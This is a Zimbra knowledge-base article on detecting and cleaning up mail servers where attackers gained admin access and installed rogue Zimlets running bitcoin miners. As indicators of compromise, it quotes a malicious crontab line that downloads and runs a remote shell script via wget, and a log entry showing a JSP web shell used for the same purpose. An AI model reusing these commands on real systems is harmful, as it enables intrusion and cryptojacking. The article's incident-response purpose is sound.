Investigating and Securing Systems

Investigating and Securing Exploited Systems

   KB 20749        Last updated on 2015-07-10  




0.00
(0 votes)

Credit

Thank you to the multiple customers/partners who have helped with this investigation and provided info and methods listed here.

Background

Some sites have seen issues where attackers have achieved "admin" level access in ZCS, and from there have had trojan Zimlets installed which run bitcoin mining operations. In many of these cases, the vector of admin-level access has occurred via the Critical Security Vulnerability fixed in February 2013 through these versions:

  • 8.0.2 Patch 1
  • 8.0.3
  • 7.2.2 Patch 1
  • 7.2.3

For more information on the nature of the related vulnerabilities, please review these resources:

Public Announcements by Zimbra

For customers running versions earlier than this or who have had systems illegally accessed, the following action plan is available.

Profile of Hacked System

1. High user-space CPU being consumed by one or more unusual processes. Some of these processes have been mining bitcoins, but it is possible they could be doing other tasks:

zimbra 27834 141 0.0 142140 3012 ? Ssl 12:18 370:25 ./minerd64 -B -o stratum+tcp://[URL-removed]:53 -u [USERNAME-removed] -p x 
zimbra 28166 141 0.0 139064 2976 ? Ssl 12:19 368:01 ./minerd64 -B -o stratum+tcp://[URL-removed]:3334 -u [USERNAME-removed] -p x

2. High CPU usage in top due to the minerd or other unexpected processes:

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 
28166 zimbra 20 0 135m 2976 1016 S 151 0.0 368:01.17 ./minerd64 -B -o st 
27834 zimbra 20 0 138m 3012 1024 S 145 0.0 370:25.19 ./minerd64 -B -o st

3. Rogue Zimlets installed

4. Unauthorized admin or domain admin accounts created

Investigating Exploited Systems

1. Check for recently modified Zimlets Note: adjust the mtime and ctime values back to around Dec 06, which is the first report we've seen:

# find /opt/zimbra/zimlets-deployed -mtime -35 -o -ctime -35

or

# find /opt/zimbra/zimlets-deployed -newerct 20131206 -o -newermt 20131206 -ls

Note: your site may vary, but please check any modified Zimlets carefully back to Dec 06. A more thorough search might look for any changed file since a certain date:

# find /opt/zimbra \( -path /opt/zimbra/backup -o -path /opt/zimbra/store -o -path /opt/zimbra/db/data \) \
-prune -o -newermt 20140127 -ls > /var/tmp/changes.out

2. Identify any jsp files that may have been installed:

Examples:

$ ls -lR com_zimbra_example_simplejspaction
-rw-r--r--@ 1 648 Dec 26 07:25 cmd.jsp
-rw-r--r--@ 1 481 Dec 26 07:25 com_zimbra_example_simplejspaction.xml
-rw-r--r--@ 1 14 Dec 26 07:25 jspfile.jsp
$ ls -lR com_zimbra_example_simplejspaction2
-rw-r--r--@ 1 483 Jan 1 06:07 com_zimbra_example_simplejspaction2.xml
-rw-r--r--@ 1 14 Jan 1 06:07 jspfile.jsp
-rw-r--r--@ 1 648 Jan 1 06:07 xd.jsp
$ ls -lR com_zimbra_example_simplejspaction
-rw-r-----@ 1 481 Dec 23 13:21 com_zimbra_example_simplejspaction.xml
-rw-r-----@ 1 14 Dec 23 13:21 jspfile.jsp
-rw-r-----@ 1 74614 Dec 23 13:21 meep.jsp
$ ls -lR com_zimbra_data
zim.jsp

3. Disabling this Zimlet (or any other like it):

$ zmzimletctl undeploy com_zimbra_example_simplejspaction
$ zmprov fc zimlet

4. Locate, backup and remove JSPs that use getRuntime:

# find /opt/zimbra -iname \*.jsp -exec grep -i getRuntime {} \;

5. Locate, backup and remove any files in /var/tmp and /tmp

# find /var/tmp /tmp -iname miner\*
# find /var/tmp /tmp -mtime -35

Examples:

-rw-r--r--@ 1 592464 Jul 10 2013 kpoll
-rw-r--r--@ 1 120 Jan 8 03:58 ksys.cfg

6. Check top for any high CPU processes

In addition to the above minerd processes, some sites with ssh open to the world may find that an attacker has used a password to gain ssh access. At one site, ssh access led to having a perl processing running at the following location, also mining bitcoins:

/opt/zimbra/log/wit.pl.1

It is highly recommended to allow only the necessary service ports open to untrusted networks or the Internet. See #Securing Systems below for details.

7. Verify zimbra RPMs (RHEL/CentOS only) for modified files:

# for Z in $(rpm -qa | grep ^zimbra); do echo "Checking $Z"; rpm -q --verify --nouser --nogroup --nomode --nomtime $Z; done

8. Check and remove any rogue admin accounts:

Creation and control of one or more admin accounts by the attacker (since Dec 06, 2013). Find all admin accounts with this ldapsearch:

  • be sure to replace "ldap.example.com" with the hostname of your LDAP server*
$ source ~/bin/zmshutil; zmsetvars; ldapsearch -x -LLL -b "" -H ldap://ldap.example.com:389 -D "$zimbra_ldap_userdn" -w "$zimbra_ldap_password" '(zimbraIsAdminAccount=TRUE)' dn

And all DomainAdmin accounts with this:

$ source ~/bin/zmshutil; zmsetvars; ldapsearch -x -LLL -b "" -H ldap://ldap.example.com:389 -D "$zimbra_ldap_userdn" -w "$zimbra_ldap_password" '(zimbraIsDomainAdminAccount=TRUE)' dn

9. Search mailbox.log for possible exploit:

$ grep -B 3 PARSE_ERROR /opt/zimbra/log/mailbox.log | egrep '/service/soap:|/service/admin/soap:'

10. Check if zimbra crontab has possibly been modified by one of the Zimlets:

Example:
* * * * * wget http://205.172.1.1/bat/z.sh -O /tmp/z.sh && /bin/bash /tmp/z.sh && rm -rf /tmp/z.sh

The file /opt/zimbra/log/access.log may demonstrate activity by a rogue Zimlet to install this crontab:

access_log: 11.12.13.14 - [ 30/Jan/2014 : 20:00:40 +0000 ] " GET /zimlet/com_zimbra_example_simplejspaction/cmd.jsp?comment=wget+http://69.50.238.1/jab/z.sh+-O+/tmp/z.sh HTTP/1.1 " 200 245 " - " " Mozilla/5.0 (Windows NT 5.1 ; 32bit; rv : 10.0 ) Gecko/20100301 Firefox/10.0 ) "

Remove this crontab entry with "crontab -e":

crontab -e

Securing Systems

Important steps for protecting these systems:

1. Upgrade to 7.2.6 or 8.0.6

2. Patch if on an older version - Zimbra has provided patches for the following versions:

  • 8.0.5, 8.0.4, 8.0.3
  • 7.2.5, 7.2.4, 7.2.3, 7.2.2

All Patches and Release Notes for these versions are available on the Archives download page:

3. Known workaround to block Bug 80338 exploit if on an older version:

Bug 80338 Workaround

For Bug 80338, there is a known existing workaround using nginx: Add the below lines to

/opt/zimbra/conf/nginx/templates/nginx.conf.web.[http|https].default.template

and then run the following:

/zmproxyconfgen; zmproxyctl restart
if ($request_uri ~ "\.\.") {
  return 404;
}
if ($request_uri ~ "\%2[eE]\%2[eE]") {
  return 404;
}
if ($request_uri ~ "\.%2[eE]") {
  return 404;
}
if ($request_uri ~ "%2[eE]\.") {
  return 404;
}

4. Make sure that all ports to the ZCS system/platform are blocked except those explicitly required for external services, as listed here:

5. If possible, block the admin port (port 7071 by default) from the Internet.

6. After securing via the above, change the relevant zmlocalconfig passwords:

You should change all of these on all nodes, and they must match for each password on all Zimbra nodes. However, not every password listed here must be the same, they can each differ as they are used by different processes. It is very important to make sure the first one succeeds first:

Change the zimbra_ldap_userdn password:

$ zmldappasswd newpassword

Test that it worked:

$ zmlocalconfig -s zimbra_ldap_password

Then proceed with the rest:

$ zmldappasswd -a newpassword
$ zmldappasswd -b newpassword
$ zmldappasswd -n newpassword
$ zmldappasswd -p newpassword
$ zmldappasswd -r newpassword

After running on all nodes, confirm that all nodes have the correct passwords in zmlocalconfig:

$ zmlocalconfig -s ldap_amavis_password
$ zmlocalconfig -s ldap_bes_searcher_password
$ zmlocalconfig -s ldap_nginx_password
$ zmlocalconfig -s ldap_postfix_password
$ zmlocalconfig -s ldap_root_passwd

7. Resetting MySQL passwords:

8. If there is any reason to think files may have been accessed, then updating both SSL certificates and ssh keys should also be performed:

SSL Certificates:

SSH Auth Keys:

Warning on Root-Level Access

If there is any indication that the attacker has achieved root-level access to the system, then attempting to clean-up the system would not be recommended. With root-level access, the attacker could have done anything - installed additional back-doors via kernel modules, hidden processes or files, or many other nefarious activities. If root-level access was achieved, then the only recommended recovery would be to build a clean system, and then migrate to the new system using these steps:

Even with only zimbra-level access achieved, you may want to consider setting up a clean environment using this rsync method.


Verified Against: ZCS 8.0 ZCS 7.0 ZCS 6.0 Date Created: 01/31/2014
Article ID: https://wiki.zimbra.com/index.php?title=Investigating_and_Securing_Systems Date Modified: 2015-07-10



Try Zimbra

Try Zimbra Collaboration with a 60-day free trial.
Get it now »

Want to get involved?

You can contribute in the Community, Wiki, Code, or development of Zimlets.
Find out more. »

Looking for a Video?

Visit our YouTube channel to get the latest webinars, technology news, product overviews, and so much more.
Go to the YouTube channel »

Jump to: navigation, search